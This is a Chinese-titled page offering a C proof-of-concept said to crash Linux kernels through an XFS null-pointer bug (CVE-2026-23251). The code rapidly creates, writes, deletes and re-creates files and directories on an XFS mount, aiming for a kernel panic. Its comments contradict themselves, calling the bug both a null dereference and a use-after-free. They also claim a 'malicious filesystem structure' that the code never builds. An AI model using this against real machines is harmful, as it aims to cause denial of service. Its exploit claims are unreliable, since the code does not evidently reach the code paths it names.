CVE-2026-23251 Linux内核XFS空指针解引用拒绝服务漏洞

// CVE-2026-23251 PoC - XFS Null Pointer Dereference Trigger // This PoC demonstrates triggering the vulnerability through XFS filesystem operations // Compile: gcc -o xfs_poc xfs_poc.c -Wall #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define MAX_PATH 256 #define MALICIOUS_XFS_SIZE (1024 * 1024 * 64) // 64MB malicious image // Simulate triggering xfarray/xfblob destroy with invalid pointer void trigger_xfs_vulnerability(const char *mount_point) { char test_file[MAX_PATH]; int fd; printf("[*] Attempting to trigger CVE-2026-23251...\n"); // Step 1: Create malicious XFS filesystem structure snprintf(test_file, MAX_PATH, "%s/malicious_file_%d", mount_point, getpid()); // Step 2: Rapid create/delete operations to trigger race condition for (int i = 0; i < 1000; i++) { fd = open(test_file, O_CREAT | O_RDWR, 0644); if (fd >= 0) { // Write malicious metadata to trigger xfblob corruption write(fd, "CORRUPT_XFS_METADATA", 20); close(fd); // Rapid deletion to trigger use-after-free in xfarray/xfblob unlink(test_file); } // Step 3: Trigger directory operations that exercise xfarray code paths mkdir(test_file, 0755); rmdir(test_file); } printf("[!] If kernel panic occurs, vulnerability is confirmed\n"); } int main(int argc, char *argv[]) { const char *mount_point = argc > 1 ? argv[1] : "/mnt/xfs_test"; printf("[*] CVE-2026-23251 XFS Null Pointer Dereference PoC\n"); printf("[*] Target: %s\n", mount_point); printf("[*] Note: Requires XFS filesystem mounted at target location\n"); trigger_xfs_vulnerability(mount_point); return 0; }